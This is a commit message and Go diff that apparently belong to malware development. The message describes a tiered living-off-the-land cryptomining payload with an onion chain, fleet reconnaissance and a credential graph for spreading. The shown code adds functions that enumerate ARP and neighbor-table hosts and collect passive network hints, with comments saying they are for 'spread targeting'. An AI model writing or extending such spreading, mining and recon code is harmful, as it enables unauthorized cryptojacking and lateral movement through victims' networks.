Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
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@@ -5,6 +5,16 @@ func ArpNeighborIPs() []string {
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return arpHosts()
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}
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// NeighborTableIPs returns IPv4 hosts from the OS neighbor table on shared subnets.
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func NeighborTableIPs() []string {
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return neighborHosts()
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}
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// CollectPassiveNetworkHints runs capped passive LAN/domain recon for spread targeting.
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func CollectPassiveNetworkHints(maxHosts int) NetworkHints {
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return CollectNetworkHints(maxHosts)
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}
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// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
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func PrimaryLocalIPv4() (string, error) {
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return primaryLocalIPv4()
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